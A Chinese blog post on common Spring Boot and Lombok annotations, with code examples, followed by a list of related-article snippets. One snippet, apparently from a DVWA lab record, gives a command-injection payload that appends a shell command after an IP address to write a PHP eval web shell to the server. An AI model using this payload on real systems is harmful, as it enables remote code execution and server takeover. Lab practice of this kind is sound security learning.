SpringBoot框架开发中常用的注解

文章目录

      • 接收HTTP请求。
      • RestController
      • 全局异常处理器
      • @Component
      • 依赖注入
      • Lombok
        • Data
        • Builder
        • sneakyThrows
        • RequiredArgsConstructor
      • 读取yml文件
      • 配置类注解

接收HTTP请求。

@RequestMapping  接收HTTP请求。

具体一点是 @GetMapping  
@PostMapping  @PutMapping  @DeleteMapping  一共四个Http请求

@RequestMapping("/file")  可以放在上面配置一个基础的路径,上面四个用来配置具体的路径。

对于get请求有两种参数方式,一个是查询参数,一个是路径参数。

查询参数 http:localhost:8080/user/get?id=1;

路径参数 http:localhost:8080/user/get/1

查询参数 使用 @RequestParam Integer id; 这样来接收。

对于路径参数 使用 PathVairable注解来接收参数。

对于表单请求 Post,数据携带携带在请求体中,使用RequestBody注解来接收

@PostMapping("/add")
public void test03(@RequestBody User user){

}

RestController

这个注解是Controller和ResponseBody的结合。

  • @Controller:表示该类是一个控制器,能够处理 HTTP 请求。

  • @ResponseBody:表示方法返回的对象会直接通过 HTTP 响应返回,而不是渲染为视图。

  • @Controller 注解用于传统的 Web 应用,通常会返回视图名,由视图解析器(如 Thymeleaf 或 JSP)来渲染视图。

  • @RestController 注解用于构建 RESTful API,方法返回的不是视图,而是直接返回数据(通常是 JSON)。

全局异常处理器

对于异常处理需要配置全局异常处理器。

用来了两个注解,一个是RestConrollerAdvice注解,另一个是ExceptionHanler注解。

**@ControllerAdvice**** 用于定义全局的异常处理、全局数据绑定、全局模型属性等。 **

**@ExceptionHandler**** 注解用于定义一个方法来处理特定类型的异常。它可以处理控制器方法中抛出的异常,能够捕获特定的异常并返回自定义的响应。**

@RestControllerAdvice
public class GlobalExceptionHandler {

    @ExceptionHandler(Exception.class)  //可以使用自定义的注解.class 
    public Result handleException(Exception ex) {
        return Result.error(ex.getMessage());
    }
}

@Component

@Component 是一个通用的 Spring 注解,用于标记一个类作为 Spring 容器中的一个 Bean,可以用于任何层次(包括 DAO、服务层、控制器等)。

提供派生的注解方式

@Service 表示自己是服务层组件
@Repository 标记数据访问层 Dao 组件
@Controller 用来标记控制器类组件  这是SpringMVC的控制器,用来处理请求并返回视图。

依赖注入

IOC实现了控制反转,讲Bean的创建交给了Spring容器去做,现在需要实现依赖注入,创建对象。

@Autowired 注解告诉 Spring 框架自动将需要的 Bean 注入到指定的字段、构造器或方法中,Spring 容器会根据类型或名称自动找到匹配的 Bean 并注入。

Lombok

Lombok 是一个 Java 库,通过注解的方式,自动生成常见的样板代码(如 getter、setter、toString、equals、hashCode、构造器等),从而简化 Java 类的代码编写,提升开发效率。Lombok 利用注解处理器(annotation processor)在编译时自动生成代码,这样开发者就不需要手动编写这些重复的、冗长的代码了。

自动生成getter、setter、toString、equals、hashcode、构造器等方法,提高了开发的效率。

@Data 是一个组合注解,包含了 @Getter@Setter@ToString@EqualsAndHashCode 以及 @RequiredArgsConstructor

Data

正常使用三个注解即可。

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Carousel {
    private Integer id;
    private String imageUrl;
}
Builder

使用 <font style="color:#403f53;background-color:#fbfbfb;">@Builder</font> 注解,Lombok 会自动为你生成一个构建器类,通过该构建器可以设置对象的各种属性,并最终构建出该对象。这个方式避免了传统构造器方法中传递过多参数的冗长,提供了更加直观和灵活的对象创建方式。

sneakyThrows

对于出现异常的方法可以使用下面的:

<font style="color:#403f53;background-color:#fbfbfb;">@SneakyThrows</font> 注解用来自动抛出检查型异常,避免手动捕获或声明异常。这对于简化代码和避免不必要的异常声明非常有用。

自动抛出检查形异常;

RequiredArgsConstructor

通过RequiredArgsConstructor +final 关键字,实现对象的注入。

  • **@RequiredArgsConstructor**:这是 Lombok 提供的注解,它会自动生成一个构造器,该构造器包含所有被 final 修饰的字段和被 ``
  • **final**** 关键字**:将字段标记为 final,意味着该字段一旦赋值就不能被修改。通过将依赖注入的字段设置为 final,可以确保它们在对象创建后不会被更改,从而增强对象的不可变性。
@RequiredArgsConstructor
public class UserController {

  
    private  final  UserService userService;

读取yml文件

有一些信息在yml文件中进行了配置,在代码中需调用信息。

@Value("${minio.endpoint}")
private String endpoint;
@Value("${minio.accessKey}")
private String accessKey;
@Value("${minio.secretKey}")
private String secretKey;

@Value 是 Spring 框架中用于注入属性值的注解。它通常用于将外部配置文件(如 application.propertiesapplication.yml)中的属性值注入到 Spring 管理的 Bean 中。

配置类注解

@Configuration 是 Spring 框架中的一个注解,用于标识一个类作为配置类(Configuration Class),该类可以包含 Spring 容器的 bean 定义。通常,使用 @Configuration 注解的类中会定义一些 @Bean 注解的方法,这些方法用于向 Spring 容器注册 bean,从而支持通过 Java 配置来代替 XML 配置文件。

@Configuration
public class MinioConfig {

    @Value("${minio.endpoint}")
    private String endpoint;
    @Value("${minio.accessKey}")
    private String accessKey;
    @Value("${minio.secretKey}")
    private String secretKey;

     //Spring会自动扫描,并注册Bean实列
    @Bean
    public MinioClient minioClient() {
        return MinioClient.builder()
                .endpoint(endpoint)
                .credentials(accessKey, secretKey)
                .build();
    }

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948137.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ELK日志平台搭建 (最新版)

一、安装 JDK 1. 下载 JDK 21 RPM 包 wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.rpm2. 安装 JDK 21,使用 rpm 命令安装下载的 RPM 包&#xff1a; sudo rpm -ivh jdk-21_linux-x64_bin.rpm3. 配置环境变量 编辑 /etc/profile 文件以配置 JAVA_HO…

使用 Jupyter Notebook:安装与应用指南

文章目录 安装 Jupyter Notebook1. 准备环境2. 安装 Jupyter Notebook3. 启动 Jupyter Notebook4. 选择安装方式&#xff08;可选&#xff09; 二、Jupyter Notebook 的基本功能1. 单元格的类型与运行2. 可视化支持3. 内置魔法命令 三、Jupyter Notebook 的实际应用场景1. 数据…

AcWing-164.可达性统计(拓扑排序 + 位运算)

原题链接&#xff1a;164. 可达性统计 - AcWing题库 题目描述&#xff1a; 题目 输入格式 输出格式 数据范围 输入样例&#xff1a; 输出样例&#xff1a; 思路 AC代码&#xff1a; 题目描述&#xff1a; 题目 给定一张 &#x1d441; 个点 &#x1d440; 条边的有向无…

Windows安装了pnpm后无法在Vscode中使用

Windows安装了pnpm后无法在Vscode中使用 解决方法&#xff1a; 以管理员身份打开 PowerShell 并执行以下命令后输入Y回车即可。 Set-ExecutionPolicy RemoteSigned -Scope CurrentUser之后就可以正常使用了

python学opencv|读取图像(二十五)使用cv2.putText()绘制文字进阶-垂直镜像文字

【1】引言 前序学习进程找那个&#xff0c;已经掌握了使用pythonopencv绘制常规文字和倾斜文字的基本技巧。相关链接如下&#xff1a; python学opencv|读取图像&#xff08;二十三&#xff09;使用cv2.putText()绘制文字-CSDN博客 python学opencv|读取图像&#xff08;二十四…

6.充放电相关实验(过压、欠压、过流、短路、过温、低温)演示

1.充放电演示 (1)一定要按照操作步骤来,先将电池板上的充放电开关一定要处于断开状态(字母O一边按下是断开,字母I一边按下是接通),然后夹上充电器的电源夹子到BMS控制板的PACK-、PACK+两端,然后给充电器插上电源(如果使用自己的充电器一定要注意不要大于21V),然后拨动…

解决HBuilderX报错:未安装内置终端插件,是否下载?或使用外部命令行打开。

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 错误描述 在HBuilderX中执行npm run build总是提醒下载插件&#xff1b;图示如下&#xff1a; 但是&#xff0c;下载总是失败。运行项目时候依然弹出上述提醒。 解决方案 …

【小程序开发】- 小程序版本迭代指南(版本发布教程)

一&#xff0c;版本号 版本号是小程序版本的标识&#xff0c;通常由一系列数字组成&#xff0c;如 1.0.0、1.1.0 等。版本号的格式通常是 主版本号.次版本号.修订号 主版本号&#xff1a;当小程序有重大更新或不兼容的更改时&#xff0c;主版本号会增加。 次版本号&#xff1a…

基于微信小程序投票评选系统的设计与实现ssm+论文源码调试讲解

第4章 系统设计 4.1 系统设计的原则 在系统设计过程中&#xff0c;也需要遵循相应的设计原则&#xff0c;这些设计原则可以帮助设计者在短时间内设计出符合设计规范的设计方案。设计原则主要有可靠性&#xff0c;安全性&#xff0c;可定制化&#xff0c;可扩展性&#xff0c;可…

库伦值自动化功耗测试工具

1. 功能介绍 PlatformPower工具可以自动化测试不同场景的功耗电流&#xff0c;并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。 主要原理&#xff1a;基于文件节点 coulomb_count 实现&#xff0c;计算公式&#xff1a;电流&…

AWS re:Invent 的创新技术

本月早些时候&#xff0c;Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re&#xff1a;Invent 大会。如果您从未参加过 re&#xff1a;Invent 会议&#xff0c;那么最能描述它的词是“巨大”——不仅从与会者人数&#xff08;60,000 人&#xff09;来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…

K210识别技术简介与基础使用方法

目录 一、K210芯片概述 二、K210的硬件配置与开发环境 1. 硬件配置 2. 开发环境 三、K210的识别技术基础 1. 图像识别 2. 语音识别 四、K210识别技术的基础使用方法 1. 图像识别基础使用 2. 语音识别基础使用 五、K210识别技术的应用场景 六、总结与展望 一、K210芯…

Linux下实现磁盘挂载

一&#xff1a;查看磁盘挂载和分区情况 使用如下命令查看磁盘的挂载和分区情况 fdisk -l 如上可以看出/dev/sdb未进行挂载分区 二&#xff1a;磁盘分区 1:分区 fdisk /dev/sdb 根据上图中的红框内的信息进行操作 2&#xff1a;检查是否分区成功 fdisk -l 如上可以看到/d…

009:传统计算机视觉之边缘检测

本文为合集收录&#xff0c;欢迎查看合集/专栏链接进行全部合集的系统学习。 合集完整版请参考这里。 本节来看一个利用传统计算机视觉方法来实现图片边缘检测的方法。 什么是边缘检测&#xff1f; 边缘检测是通过一些算法来识别图像中物体之间或者物体与背景之间的边界&…

Java SpringBoot使用Apache POI导入导出Excel文件

点击下载《Java SpringBoot使用Apache POI导入导出Excel文件(源代码)》 1. Apache POI 简介 Apache POI 是一个强大的 Java 库&#xff0c;用于处理 Microsoft Office 文档&#xff0c;包括 Excel 文件&#xff08;.xls 和 .xlsx&#xff09;。在 Java Spring Boot 项目中&am…

基于Spring Boot的健康饮食管理系统

一、系统架构与技术栈 系统架构&#xff1a;系统通常采用典型的三层架构设计&#xff0c;分为表现层、业务逻辑层和数据访问层。表现层负责与用户进行交互&#xff0c;展示信息和接收用户输入&#xff1b;业务逻辑层处理系统的核心业务&#xff0c;如用户信息管理、饮食记录分…